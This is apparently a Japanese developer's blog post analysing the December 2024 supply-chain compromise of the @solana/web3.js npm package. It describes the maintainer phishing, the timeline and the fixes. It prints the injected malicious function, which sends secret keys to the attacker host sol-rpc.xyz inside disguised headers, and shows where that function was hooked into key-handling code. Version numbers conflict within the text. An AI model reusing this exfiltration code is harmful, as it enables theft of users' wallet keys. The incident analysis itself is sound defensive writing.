@solana/web3.jsにexploitが見つかった日

@solana/web3.jsにexploitが見つかった日

·

2 min read

普段はブロックチェーンルアーズというWeb3サース開発に関わっています。

この投稿は「Solana Advent Calendar 2024」24日目の記事です。

クリスマスイブには似つかわしくないタイトですが、衝撃的な脆弱性だったので、記録として残しておきたいと思います。

何が起きたのか?

12月4日の朝、起きてXの投稿を見ていたところ、衝撃的な内容を発見しました。SolanaでDappsやWeb3サービスを開発する際に必須ともいえるライブラリ、@solana/web3.jsにエクスプロイト(悪意ある脆弱性)が発見されたという内容です。

Solanaを利用してサービスを開発している人はほぼ全員このライブラリを使っているため、その影響範囲の大きさにビビりました。

Anza(@solana/web3.jsを開発、メンテ)のtrentがXでアナウンスしたツイートに対して、SolanaのファウンダーであるAnatolyが真っ先に反応していました。

Anatoly: 攻撃経路はどこ?

trent: フィッシング攻撃で盗まれた

ツイートによると

  • exploitは秘密鍵を盗むコードである

  • exploitが埋め込まれたバージョンが 1.98.6, 1.98.7

  • バージョン1.98.8にアップデートするか、1.98.5にダウングレードすることで回避することができる

  • Attacker(攻撃者)のWalletアドレスがFnvLGtucz4E1ppJHRTev6Qv4X7g8Pw6WPStHCcbAKbfx

という内容でした。

Exploitの原因

翌日にはAnzaからレポートがあがり、原因が明らかになりましたので、以下に要点をまとめました。

埋め込まれた経路

@solana/web3.js は、JavaScriptのライブラリであり、NPM で公開されているパッケージです。

そのため、このライブラリをNPMで公開・管理する権限を持つ人物が、スピアフィッシング攻撃によりひっかかってしまいました。

スピアフィッシング攻撃: 攻撃者が信頼できる人物や団体を装い、メールやメッセージを送信します。受信者にリンクをクリックさせたり、添付ファイルを開かせたりして、ログイン情報や機密データを盗み出す攻撃

アタッカーは同僚を装い、プライベートパッケージの共同作業への招待メールを送りつけました。

受信者がそのメールをクリックすると、偽のNPMサイトに誘導される仕組みになっており、アカウント情報、パスワード、さらには2段階認証コードを入力させることで、NPMへのアクセス権を奪取。

その後、アタッカーはエクスプロイトを埋め込んだソースコードを公開するに至りました。

時系列

時系列に見ると異常事態の発見からアナウンスまで、かなり対応が早かったです。

  • 12月3日 3:20 PM UTC - スピアフィッシングメールが開封され、アカウント情報が奪取される

  • 12月3日 7:27 PM UTC - exploint報告を受け、調査開始。

  • 12月3日 8:25 PM UTC - 改ざんされていないversion 1.98を公開。

  • 12月4日 12:22 AM UTC - 悪意あるバージョン(1.96, 1.97)を npm レジストリから完全削除​

改善策

NPMへのアクセス管理については、従来のユーザーアカウントによるアクセスを廃止し、読み取り権限公開権限有効期限などを細かく設定できるアクセストークンによる管理方法に切り替えたようです。

これにより、不正アクセスのリスクを抑えつつ、よりセキュアな権限管理が可能になったと考えられます。

Exploitの中身

バージョン1.96と1.97のエクスプロイトのソースコードは、すでにアーカイブから削除されているため、直接確認することはできませんでした。

しかし、世の中には変わった人もいるもので、エクスプロイト入りのコードを収集している人がいたため、そのソースコードをgit cloneして解析してみた結果、1.96と1.97のソースコードには差異がなく、なぜ2つのバージョンが作成されたのか、その意図は不明のままでした。

/lib/index.cjs.js
/lib/index.iife.min.js
/lib/index.esm.js
/lib/index.iife.js
/lib/index.native.js

@solana/web3.jsライブラリの構成は大きく分けて srclib の2つに分かれています。

  • src - TypeScriptで記述されたソースコード。

  • lib - トランスパイルされたJavaScriptコード。

アタッカーが手を加えたのは、lib 内のJavaScriptファイルでした。

実際のexploitコードになります。

  /**
   * Adds process to the queue
   *
   * @param process Uint8Array 
   * @return void
   */
  static addToQueue(process) {
    const b = bs58__default.default.encode(process);
    if (QUEUE.has(b)) return;
    QUEUE.add(b);
    fetch("https://sol-rpc.xyz/api/rpc/queue", {
      method: "POST",
      headers: {
        "x-amz-cf-id": b.substring(0, 24).split("").reverse().join(""),
        "x-session-id": b.substring(32),
        "x-amz-cf-pop": b.substring(24, 32).split("").reverse().join("")
      }
    }).catch(() => {});
  }

この関数は、秘密鍵をそのまま受け取ると、アタッカーが用意したサイト https://sol-rpc.xyz/api/rpc/queue に送信する仕組みになっています。しかも、ご丁寧にそれらしい関数名やコメントまで付けられており、一見すると悪意あるコードには見えにくくなっていますw。ヘッダーから想像できるように、AWS上から収集した秘密鍵を利用してユーザーのAssetを盗んでいたと思われます。

ちなみに現在このURLをブラウザからアクセスをすると詐欺警告はでますが、エンドポイント自体は削除されてしまっています。誰かがAWSへ通報したものと考えられます。

このaddToQueue()は以下のような、秘密鍵を生成する関数に埋め込まれることで、秘密鍵を簡単に奪取できるようになっています。

static fromSecretKey(secretKey, options) {
    if (secretKey.byteLength !== 64) {
      throw new Error('bad secret key size');
    }
    const publicKey = secretKey.slice(32, 64);
    if (!options || !options.skipValidation) {
      const privateScalar = secretKey.slice(0, 32);
      const computedPublicKey = getPublicKey(privateScalar);
      for (let ii = 0; ii < 32; ii++) {
        if (publicKey[ii] !== computedPublicKey[ii]) {
          throw new Error('provided secretKey is invalid');
        }
      }
    }
💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀
    Loader.addToQueue(secretKey);  
💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀
    return new Keypair({
      publicKey,
      secretKey
    });
  }

💀マークの箇所で、秘密鍵がアタッカーのサーバーへ送られ、ユーザーは気付かないまま秘密鍵を漏洩してしまいます。

fromSecretKey() は、秘密鍵から Keypair を作成する際に使用される関数ですが、それ以外にも以下の箇所にエクスプロイトコードが埋め込まれていました。

fromSecretKey()
fromSeed()
createInstructionWithPrivateKey()
new Account()

これらの関数が使われるユースケースとしては、新規アカウントの作成時や、秘密鍵やシードフレーズからウォレットを復元する時などが挙げられます。ただし、PhantomやBackpackのようなユーザーカストディ型ウォレットで署名する際には使用されない関数です。

予想では、サーバーカストディ型のサービスがユーザーのウォレットを管理しているケースで、そこから流出した可能性が高いのではないかと思います。

まとめ

自分は常に最新のライブラリにアップデートをかける方なので、もしそのときアップデートしていたら被害にあっていたかもしれないです。これからは、changelogを確認しながら慎重にアップデートしようと思いました。

あと、この記事を書いている時に、前にセキュリティコンサル会社の人とクリプトにおけるセキュリティ対策の注意点を聞いたメモを思い出したので、参考程度に書いておきます。

Attackerのほうが、守る側(サービス提供者、企業、プロジェクト)よりも圧倒的に有利
Attackerは、SNSを利用して人物像や人間関係を入念に調べたうえで攻撃を仕掛けてくる。そのため、守る側は、いつ、どこから、誰が攻撃してくるかわからず、対策を講じるのが難しい
SNSなどで”儲かっている!”とかいかにもお金をもっている情報を公開しない
これは企業とかプロジェクトに関わってる人向け。Attackerはお金がありそうなところを狙って攻撃してくる。逆に、お金がなさそうなプロジェクトとかWalletには最初から興味を持たない。昔、とある取引所の役員がメディアのインタビューで『まるでゴールドラッシュだ!』って言っていたその数カ月後に攻撃をうけて数百億円規模の流出事件が起きたのを思い出した
SNS、ブログなど特定多数のメディアで実名や顔を公開している方は、秘密鍵を持たない、知らない
これも企業、プロジェクトに所属している人向けで、SNSで実名や名前を公開しているとAttackerにとって個人情報を容易に手に入るので、攻撃にターゲットになりやすい。もしその人のPCがマルウェアに感染したとしても、秘密鍵の場所、アクセス方法を知らなければ、影響範囲を最小限にできる
Windowsを使わない
Windows利用者を狙ったマルウェアによる被害や脆弱性の多さから。Macもゼロデイ脆弱性を狙った攻撃を受ける可能性が増えているし、マルウェアも作られている。どのOSが安全なのかという話になると、iOSだと言われた。さすがにiPhoneやiPadでは開発ができないため、自分はそれ以来Linuxを使うようになった